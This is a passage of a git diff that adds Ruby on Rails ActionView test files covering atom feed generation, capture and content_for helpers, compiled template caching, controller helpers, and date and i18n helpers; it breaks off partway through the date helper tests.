+++ b/actionview/test/template/atom_feed_helper_test.rb
@@ -0,0 +1,375 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+Scroll = Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+end
+
+class ScrollsController < ActionController::Base
+  FEEDS = {}
+  FEEDS["defaults"] = <<-EOT
+        atom_feed(:schema_date => '2008') do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["entry_options"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["entry_type_options"] = <<-EOT
+        atom_feed(:schema_date => '2008') do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :type => 'text/xml') do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["entry_url_false_option"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :url => false) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["xml_block"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          feed.author do |author|
+            author.name("DHH")
+          end
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_atomPub_namespace"] = <<-EOT
+        atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+                 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_overridden_ids"] = <<-EOT
+        atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
+        atom_feed(:schema_date => '2008',
+          :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
+        atom_feed(:schema_date => '2008',
+          :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["feed_with_xhtml_content"] = <<-'EOT'
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated(@scrolls.first.created_at)
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll) do |entry|
+              entry.title(scroll.title)
+              entry.summary(:type => 'xhtml') do |xhtml|
+                xhtml.p "before #{scroll.id}"
+                xhtml.p {xhtml << scroll.body}
+                xhtml.p "after #{scroll.id}"
+              end
+              entry.tag!('app:edited', Time.now)
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
+  FEEDS["provide_builder"] = <<-'EOT'
+          # we pass in the new_xml to the helper so it doesn't
+          # call anything on the original builder
+          new_xml = Builder::XmlMarkup.new(:target=>''.dup)
+          atom_feed(:xml => new_xml) do |feed|
+            feed.title("My great blog!")
+            feed.updated(@scrolls.first.created_at)
+
+            @scrolls.each do |scroll|
+              feed.entry(scroll) do |entry|
+                entry.title(scroll.title)
+                entry.content(scroll.body, :type => 'html')
+
+                entry.author do |author|
+                  author.name("DHH")
+                end
+              end
+            end
+          end
+    EOT
+  def index
+    @scrolls = [
+      Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
+      Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
+    ]
+
+    render inline: FEEDS[params[:id]], type: :builder
+  end
+end
+
+class AtomFeedTest < ActionController::TestCase
+  tests ScrollsController
+
+  def setup
+    super
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_feed_should_use_default_language_if_none_is_given
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_match(%r{xml:lang="en-US"}, @response.body)
+    end
+  end
+
+  def test_feed_should_include_two_entries
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "entry", 2
+    end
+  end
+
+  def test_entry_should_only_use_published_if_created_at_is_present
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "published", 1
+    end
+  end
+
+  def test_providing_builder_to_atom_feed
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "provide_builder" }
+      # because we pass in the non-default builder, the content generated by the
+      # helper should go 'nowhere'.  Leaving the response body blank.
+      assert @response.body.blank?
+    end
+  end
+
+  def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "entry_options" }
+
+      assert_select "updated", Time.utc(2007, 1, 1).xmlschema
+      assert_select "updated", Time.utc(2007, 1, 2).xmlschema
+    end
+  end
+
+  def test_self_url_should_default_to_current_request_url
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "link[rel=self][href=\"http://www.nextangle.com/scrolls?id=defaults\"]"
+    end
+  end
+
+  def test_feed_id_should_be_a_valid_tag
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "id", text: "tag:www.nextangle.com,2008:/scrolls?id=defaults"
+    end
+  end
+
+  def test_entry_id_should_be_a_valid_tag
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "entry id", text: "tag:www.nextangle.com,2008:Scroll/1"
+      assert_select "entry id", text: "tag:www.nextangle.com,2008:Scroll/2"
+    end
+  end
+
+  def test_feed_should_allow_nested_xml_blocks
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "xml_block" }
+      assert_select "author name", text: "DHH"
+    end
+  end
+
+  def test_feed_should_include_atomPub_namespace
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "feed_with_atomPub_namespace" }
+      assert_match %r{xml:lang="en-US"}, @response.body
+      assert_match %r{xmlns="http://www\.w3\.org/2005/Atom"}, @response.body
+      assert_match %r{xmlns:app="http://www\.w3\.org/2007/app"}, @response.body
+    end
+  end
+
+  def test_feed_should_allow_overriding_ids
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "feed_with_overridden_ids" }
+      assert_select "id", text: "tag:test.rubyonrails.org,2008:test/"
+      assert_select "entry id", text: "tag:test.rubyonrails.org,2008:1"
+      assert_select "entry id", text: "tag:test.rubyonrails.org,2008:2"
+    end
+  end
+
+  def test_feed_xml_processing_instructions
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "feed_with_xml_processing_instructions" }
+      assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
+      assert_match %r{<\?xml-stylesheet [^\?]*href="t\.css"}, @response.body
+    end
+  end
+
+  def test_feed_xml_processing_instructions_duplicate_targets
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "feed_with_xml_processing_instructions_duplicate_targets" }
+      assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
+      assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
+    end
+  end
+
+  def test_feed_xhtml
+    with_restful_routing(:scrolls) do
+      get :index, params: { id:  "feed_with_xhtml_content" }
+      assert_match %r{xmlns="http://www\.w3\.org/1999/xhtml"}, @response.body
+      assert_select "summary", text: /Something Boring/
+      assert_select "summary", text: /after 2/
+    end
+  end
+
+  def test_feed_entry_type_option_default_to_text_html
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "defaults" }
+      assert_select "entry link[rel=alternate][type=\"text/html\"]"
+    end
+  end
+
+  def test_feed_entry_type_option_specified
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "entry_type_options" }
+      assert_select "entry link[rel=alternate][type=\"text/xml\"]"
+    end
+  end
+
+  def test_feed_entry_url_false_option_adds_no_link
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: "entry_url_false_option" }
+      assert_select "entry link", false
+    end
+  end
+
+  private
+    def with_restful_routing(resources)
+      with_routing do |set|
+        set.draw do
+          resources(resources)
+        end
+        yield
+      end
+    end
+end
diff --git a/actionview/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb
new file mode 100644
index 0000000000..8a1c00fd00
--- /dev/null
+++ b/actionview/test/template/capture_helper_test.rb
@@ -0,0 +1,228 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class CaptureHelperTest < ActionView::TestCase
+  def setup
+    super
+    @av = ActionView::Base.new
+    @view_flow = ActionView::OutputFlow.new
+  end
+
+  def test_capture_captures_the_temporary_output_buffer_in_its_block
+    assert_nil @av.output_buffer
+    string = @av.capture do
+      @av.output_buffer << "foo"
+      @av.output_buffer << "bar"
+    end
+    assert_nil @av.output_buffer
+    assert_equal "foobar", string
+  end
+
+  def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank
+    string = @av.capture("foo", "bar") do |a, b|
+      a + b
+    end
+    assert_equal "foobar", string
+  end
+
+  def test_capture_returns_nil_if_the_returned_value_is_not_a_string
+    assert_nil @av.capture { 1 }
+  end
+
+  def test_capture_escapes_html
+    string = @av.capture { "<em>bar</em>" }
+    assert_equal "&lt;em&gt;bar&lt;/em&gt;", string
+  end
+
+  def test_capture_doesnt_escape_twice
+    string = @av.capture { raw("&lt;em&gt;bar&lt;/em&gt;") }
+    assert_equal "&lt;em&gt;bar&lt;/em&gt;", string
+  end
+
+  def test_capture_used_for_read
+    content_for :foo, "foo"
+    assert_equal "foo", content_for(:foo)
+
+    content_for(:bar) { "bar" }
+    assert_equal "bar", content_for(:bar)
+  end
+
+  def test_content_for_with_multiple_calls
+    assert ! content_for?(:title)
+    content_for :title, "foo"
+    content_for :title, "bar"
+    assert_equal "foobar", content_for(:title)
+  end
+
+  def test_content_for_with_multiple_calls_and_flush
+    assert ! content_for?(:title)
+    content_for :title, "foo"
+    content_for :title, "bar", flush: true
+    assert_equal "bar", content_for(:title)
+  end
+
+  def test_content_for_with_block
+    assert ! content_for?(:title)
+    content_for :title do
+      output_buffer << "foo"
+      output_buffer << "bar"
+      nil
+    end
+    assert_equal "foobar", content_for(:title)
+  end
+
+  def test_content_for_with_block_and_multiple_calls_with_flush
+    assert ! content_for?(:title)
+    content_for :title do
+      "foo"
+    end
+    content_for :title, flush: true do
+      "bar"
+    end
+    assert_equal "bar", content_for(:title)
+  end
+
+  def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
+    assert ! content_for?(:title)
+    content_for :title do
+      "foo"
+    end
+    content_for :title, nil, flush: true do
+      "bar"
+    end
+    assert_equal "bar", content_for(:title)
+  end
+
+  def test_content_for_with_block_and_multiple_calls_without_flush
+    assert ! content_for?(:title)
+    content_for :title do
+      "foo"
+    end
+    content_for :title, flush: false do
+      "bar"
+    end
+    assert_equal "foobar", content_for(:title)
+  end
+
+  def test_content_for_with_whitespace_block
+    assert ! content_for?(:title)
+    content_for :title, "foo"
+    content_for :title do
+      output_buffer << "  \n  "
+      nil
+    end
+    content_for :title, "bar"
+    assert_equal "foobar", content_for(:title)
+  end
+
+  def test_content_for_with_whitespace_block_and_flush
+    assert ! content_for?(:title)
+    content_for :title, "foo"
+    content_for :title, flush: true do
+      output_buffer << "  \n  "
+      nil
+    end
+    content_for :title, "bar", flush: true
+    assert_equal "bar", content_for(:title)
+  end
+
+  def test_content_for_returns_nil_when_writing
+    assert ! content_for?(:title)
+    assert_nil content_for(:title, "foo")
+    assert_nil content_for(:title) { output_buffer << "bar"; nil }
+    assert_nil content_for(:title) { output_buffer << "  \n  "; nil }
+    assert_equal "foobar", content_for(:title)
+    assert_nil content_for(:title, "foo", flush: true)
+    assert_nil content_for(:title, flush: true) { output_buffer << "bar"; nil }
+    assert_nil content_for(:title, flush: true) { output_buffer << "  \n  "; nil }
+    assert_equal "bar", content_for(:title)
+  end
+
+  def test_content_for_returns_nil_when_content_missing
+    assert_nil content_for(:some_missing_key)
+  end
+
+  def test_content_for_question_mark
+    assert ! content_for?(:title)
+    content_for :title, "title"
+    assert content_for?(:title)
+    assert ! content_for?(:something_else)
+  end
+
+  def test_content_for_should_be_html_safe_after_flush_empty
+    assert ! content_for?(:title)
+    content_for :title do
+      content_tag(:p, "title")
+    end
+    assert content_for(:title).html_safe?
+    content_for :title, "", flush: true
+    content_for(:title) do
+      content_tag(:p, "title")
+    end
+    assert content_for(:title).html_safe?
+  end
+
+  def test_provide
+    assert !content_for?(:title)
+    provide :title, "hi"
+    assert content_for?(:title)
+    assert_equal "hi", content_for(:title)
+    provide :title, "<p>title</p>"
+    assert_equal "hi&lt;p&gt;title&lt;/p&gt;", content_for(:title)
+
+    @view_flow = ActionView::OutputFlow.new
+    provide :title, "hi"
+    provide :title, raw("<p>title</p>")
+    assert_equal "hi<p>title</p>", content_for(:title)
+  end
+
+  def test_with_output_buffer_swaps_the_output_buffer_given_no_argument
+    assert_nil @av.output_buffer
+    buffer = @av.with_output_buffer do
+      @av.output_buffer << "."
+    end
+    assert_equal ".", buffer
+    assert_nil @av.output_buffer
+  end
+
+  def test_with_output_buffer_swaps_the_output_buffer_with_an_argument
+    assert_nil @av.output_buffer
+    buffer = ActionView::OutputBuffer.new(".")
+    @av.with_output_buffer(buffer) do
+      @av.output_buffer << "."
+    end
+    assert_equal "..", buffer
+    assert_nil @av.output_buffer
+  end
+
+  def test_with_output_buffer_restores_the_output_buffer
+    buffer = ActionView::OutputBuffer.new
+    @av.output_buffer = buffer
+    @av.with_output_buffer do
+      @av.output_buffer << "."
+    end
+    assert buffer.equal?(@av.output_buffer)
+  end
+
+  def test_with_output_buffer_sets_proper_encoding
+    @av.output_buffer = ActionView::OutputBuffer.new
+
+    # Ensure we set the output buffer to an encoding different than the default one.
+    alt_encoding = alt_encoding(@av.output_buffer)
+    @av.output_buffer.force_encoding(alt_encoding)
+
+    @av.with_output_buffer do
+      assert_equal alt_encoding, @av.output_buffer.encoding
+    end
+  end
+
+  def test_with_output_buffer_does_not_assume_there_is_an_output_buffer
+    assert_nil @av.output_buffer
+    assert_equal "", @av.with_output_buffer {}
+  end
+
+  def alt_encoding(output_buffer)
+    output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII
+  end
+end
diff --git a/actionview/test/template/compiled_templates_test.rb b/actionview/test/template/compiled_templates_test.rb
new file mode 100644
index 0000000000..3cd6448e38
--- /dev/null
+++ b/actionview/test/template/compiled_templates_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class CompiledTemplatesTest < ActiveSupport::TestCase
+  teardown do
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
+  def test_template_with_nil_erb_return
+    assert_equal "This is nil: \n", render(template: "test/nil_return")
+  end
+
+  def test_template_with_ruby_keyword_locals
+    assert_equal "The class is foo",
+      render(file: "test/render_file_with_ruby_keyword_locals", locals: { class: "foo" })
+  end
+
+  def test_template_with_invalid_identifier_locals
+    locals = {
+      foo: "bar",
+      Foo: "bar",
+      "d-a-s-h-e-s": "",
+      "white space": "",
+    }
+    assert_equal locals.inspect, render(file: "test/render_file_inspect_local_assigns", locals: locals)
+  end
+
+  def test_template_with_delegation_reserved_keywords
+    locals = {
+      _: "one",
+      arg: "two",
+      args: "three",
+      block: "four",
+    }
+    assert_equal "one two three four", render(file: "test/test_template_with_delegation_reserved_keywords", locals: locals)
+  end
+
+  def test_template_with_unicode_identifier
+    assert_equal "🎂", render(file: "test/render_file_unicode_local", locals: { 🎃: "🎂" })
+  end
+
+  def test_template_with_instance_variable_identifier
+    assert_equal "bar", render(file: "test/render_file_instance_variable", locals: { "@foo": "bar" })
+  end
+
+  def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+    assert_equal "one", render(file: "test/render_file_with_locals_and_default")
+    assert_equal "two", render(file: "test/render_file_with_locals_and_default", locals: { secret: "two" })
+  end
+
+  def test_template_changes_are_not_reflected_with_cached_templates
+    assert_equal "Hello world!", render(file: "test/hello_world")
+    modify_template "test/hello_world.erb", "Goodbye world!" do
+      assert_equal "Hello world!", render(file: "test/hello_world")
+    end
+    assert_equal "Hello world!", render(file: "test/hello_world")
+  end
+
+  def test_template_changes_are_reflected_with_uncached_templates
+    assert_equal "Hello world!", render_without_cache(file: "test/hello_world")
+    modify_template "test/hello_world.erb", "Goodbye world!" do
+      assert_equal "Goodbye world!", render_without_cache(file: "test/hello_world")
+    end
+    assert_equal "Hello world!", render_without_cache(file: "test/hello_world")
+  end
+
+  private
+    def render(*args)
+      render_with_cache(*args)
+    end
+
+    def render_with_cache(*args)
+      view_paths = ActionController::Base.view_paths
+      ActionView::Base.new(view_paths, {}).render(*args)
+    end
+
+    def render_without_cache(*args)
+      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+      view_paths = ActionView::PathSet.new([path])
+      ActionView::Base.new(view_paths, {}).render(*args)
+    end
+
+    def modify_template(template, content)
+      filename = "#{FIXTURE_LOAD_PATH}/#{template}"
+      old_content = File.read(filename)
+      begin
+        File.open(filename, "wb+") { |f| f.write(content) }
+        yield
+      ensure
+        File.open(filename, "wb+") { |f| f.write(old_content) }
+      end
+    end
+end
diff --git a/actionview/test/template/controller_helper_test.rb b/actionview/test/template/controller_helper_test.rb
new file mode 100644
index 0000000000..46d20c188c
--- /dev/null
+++ b/actionview/test/template/controller_helper_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ControllerHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::ControllerHelper
+
+  class SpecializedFormBuilder < ActionView::Helpers::FormBuilder ; end
+
+  def test_assign_controller_sets_default_form_builder
+    @controller = OpenStruct.new(default_form_builder: SpecializedFormBuilder)
+    assign_controller(@controller)
+
+    assert_equal SpecializedFormBuilder, default_form_builder
+  end
+
+  def test_assign_controller_skips_default_form_builder
+    @controller = OpenStruct.new
+    assign_controller(@controller)
+
+    assert_nil default_form_builder
+  end
+
+  def test_respond_to
+    @controller = OpenStruct.new
+    assign_controller(@controller)
+    assert_not respond_to?(:params)
+    assert respond_to?(:assign_controller)
+
+    @controller.params = {}
+    assert respond_to?(:params)
+    assert respond_to?(:assign_controller)
+  end
+end
diff --git a/actionview/test/template/date_helper_i18n_test.rb b/actionview/test/template/date_helper_i18n_test.rb
new file mode 100644
index 0000000000..60303b4c91
--- /dev/null
+++ b/actionview/test/template/date_helper_i18n_test.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
+  include ActionView::Helpers::DateHelper
+  attr_reader :request
+
+  def setup
+    @from = Time.utc(2004, 6, 6, 21, 45, 0)
+  end
+
+  # distance_of_time_in_words
+
+  def test_distance_of_time_in_words_calls_i18n
+    { # with include_seconds
+      [2.seconds,  { include_seconds: true }]  => [:'less_than_x_seconds', 5],
+      [9.seconds,  { include_seconds: true }]  => [:'less_than_x_seconds', 10],
+      [19.seconds, { include_seconds: true }]  => [:'less_than_x_seconds', 20],
+      [30.seconds, { include_seconds: true }]  => [:'half_a_minute',       nil],
+      [59.seconds, { include_seconds: true }]  => [:'less_than_x_minutes', 1],
+      [60.seconds, { include_seconds: true }]  => [:'x_minutes',           1],
+
+      # without include_seconds
+      [29.seconds,          { include_seconds: false }] => [:'less_than_x_minutes', 1],
+      [60.seconds,          { include_seconds: false }] => [:'x_minutes',           1],
+      [44.minutes,          { include_seconds: false }] => [:'x_minutes',           44],
+      [61.minutes,          { include_seconds: false }] => [:'about_x_hours',       1],
+      [24.hours,            { include_seconds: false }] => [:'x_days',              1],
+      [30.days,             { include_seconds: false }] => [:'about_x_months',      1],
+      [60.days,             { include_seconds: false }] => [:'x_months',            2],
+      [1.year,              { include_seconds: false }] => [:'about_x_years',       1],
+      [3.years + 6.months,  { include_seconds: false }] => [:'over_x_years',        3],
+      [3.years + 10.months, { include_seconds: false }] => [:'almost_x_years',      4]
+
+      }.each do |passed, expected|
+      assert_distance_of_time_in_words_translates_key passed, expected
+    end
+  end
+
+  def test_distance_of_time_in_words_calls_i18n_with_custom_scope
+    {
+      [30.days, { scope: :'datetime.distance_in_words_ago' }] => [:'about_x_months', 1],
+      [60.days, { scope: :'datetime.distance_in_words_ago' }] => [:'x_months',       2],
+    }.each do |passed, expected|
+      assert_distance_of_time_in_words_translates_key(passed, expected, scope: :'datetime.distance_in_words_ago')
+    end
+  end
+
+  def test_time_ago_in_words_passes_locale
+    assert_called_with(I18n, :t, [:less_than_x_minutes, scope: :'datetime.distance_in_words', count: 1, locale: "ru"]) do
+      time_ago_in_words(15.seconds.ago, locale: "ru")
+    end
+  end
+
+  def test_distance_of_time_pluralizations
+    { [:'less_than_x_seconds', 1]   => "less than 1 second",
+      [:'less_than_x_seconds', 2]   => "less than 2 seconds",
+      [:'less_than_x_minutes', 1]   => "less than a minute",
+      [:'less_than_x_minutes', 2]   => "less than 2 minutes",
+      [:'x_minutes',           1]   => "1 minute",
+      [:'x_minutes',           2]   => "2 minutes",
+      [:'about_x_hours',       1]   => "about 1 hour",
+      [:'about_x_hours',       2]   => "about 2 hours",
+      [:'x_days',              1]   => "1 day",
+      [:'x_days',              2]   => "2 days",
+      [:'about_x_years',       1]   => "about 1 year",
+      [:'about_x_years',       2]   => "about 2 years",
+      [:'over_x_years',        1]   => "over 1 year",
+      [:'over_x_years',        2]   => "over 2 years"
+
+      }.each do |args, expected|
+      key, count = *args
+      assert_equal expected, I18n.t(key, count: count, scope: "datetime.distance_in_words")
+    end
+  end
+
+  def assert_distance_of_time_in_words_translates_key(passed, expected, expected_options = {})
+    diff, passed_options = *passed
+    key, count = *expected
+    to = @from + diff
+
+    options = { locale: "en", scope: :'datetime.distance_in_words' }.merge!(expected_options)
+    options[:count] = count if count
+
+    assert_called_with(I18n, :t, [key, options]) do
+      distance_of_time_in_words(@from, to, passed_options.merge(locale: "en"))
+    end
+  end
+end
+
+class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase
+  include ActionView::Helpers::DateHelper
+  attr_reader :request
+
+  # select_month
+
+  def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+    assert_not_called(I18n, :translate) do
+      select_month(8, locale: "en", use_month_names: Date::MONTHNAMES)
+    end
+  end
+
+  def test_select_month_translates_monthnames
+    assert_called_with(I18n, :translate, [:'date.month_names', locale: "en"], returns: Date::MONTHNAMES) do
+      select_month(8, locale: "en")
+    end
+  end
+
+  def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+    assert_called_with(I18n, :translate, [:'date.abbr_month_names', locale: "en"], returns: Date::ABBR_MONTHNAMES) do
+      select_month(8, locale: "en", use_short_month: true)
+    end
+  end
+
+  def test_date_or_time_select_translates_prompts
+    prompt_defaults = { year: "Year", month: "Month", day: "Day", hour: "Hour", minute: "Minute", second: "Seconds" }
+    defaults = { [:'date.order', locale: "en", default: []] => %w(year month day) }
+
+    prompt_defaults.each do |key, prompt|
+      defaults[[("datetime.prompts." + key.to_s).to_sym, locale: "en"]] = prompt
+    end
+
+    prompts_check = -> (prompt, x) do
+      @prompt_called ||= 0
+
+      return_value = defaults[[prompt, x]]
+      @prompt_called += 1 if return_value.present?
+
+      return_value
+    end
+
+    I18n.stub(:translate, prompts_check) do
+      datetime_select("post", "updated_at", locale: "en", include_seconds: true, prompt: true, use_month_names: Date::MONTHNAMES)
+    end
+    assert_equal defaults.count, @prompt_called
+  end
+
+  # date_or_time_select
+
+  def test_date_or_time_select_given_an_order_options_does_not_translate_order
+    assert_not_called(I18n, :translate) do
+      datetime_select("post", "updated_at", order: [:year, :month, :day], locale: "en", use_month_names: Date::MONTHNAMES)
+    end
+  end
+
+  def test_date_or_time_select_given_no_order_options_translates_order
+    assert_called_with(I18n, :translate, [ [:'date.order', locale: "en", default: []], [:"date.month_names", { locale: "en" }] ], returns: %w(year month day)) do
+      datetime_select("post", "updated_at", locale: "en")
+    end
+  end
+
+  def test_date_or_time_select_given_invalid_order
+    assert_called_with(I18n, :translate, [:'date.order', locale: "en", default: []], returns: %w(invalid month day)) do
+      assert_raise StandardError do
+        datetime_select("post", "updated_at", locale: "en")
+      end
+    end
+  end
+
+  def test_date_or_time_select_given_symbol_keys
+    assert_called_with(I18n, :translate, [ [:'date.order', locale: "en", default: []], [:"date.month_names", { locale: "en" }] ], returns: [:year, :month, :day]) do
+      datetime_select("post", "updated_at", locale: "en")
+    end
+  end
+end
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
new file mode 100644
index 0000000000..35a08ea672
--- /dev/null
+++ b/actionview/test/template/date_helper_test.rb
@@ -0,0 +1,3642 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DateHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::DateHelper
+
+  silence_warnings do
+    Post = Struct.new("Post", :id, :written_on, :updated_at)
+    Post.class_eval do
+      def id
+        123
+      end
+      def id_before_type_cast
+        123
+      end
+      def to_param
+        "123"
+      end
+    end
+  end
+
+  def assert_distance_of_time_in_words(from, to = nil)
+    to ||= from
+
+    # 0..1 minute with :include_seconds => true
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, include_seconds: true)
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, include_seconds: true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, include_seconds: true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, include_seconds: true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, include_seconds: true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, include_seconds: true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, include_seconds: true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, include_seconds: true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, include_seconds: true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, include_seconds: true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, include_seconds: true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, include_seconds: true)
+
+    # 0..1 minute with :include_seconds => false
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, include_seconds: false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, include_seconds: false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, include_seconds: false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, include_seconds: false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, include_seconds: false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, include_seconds: false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, include_seconds: false)
+
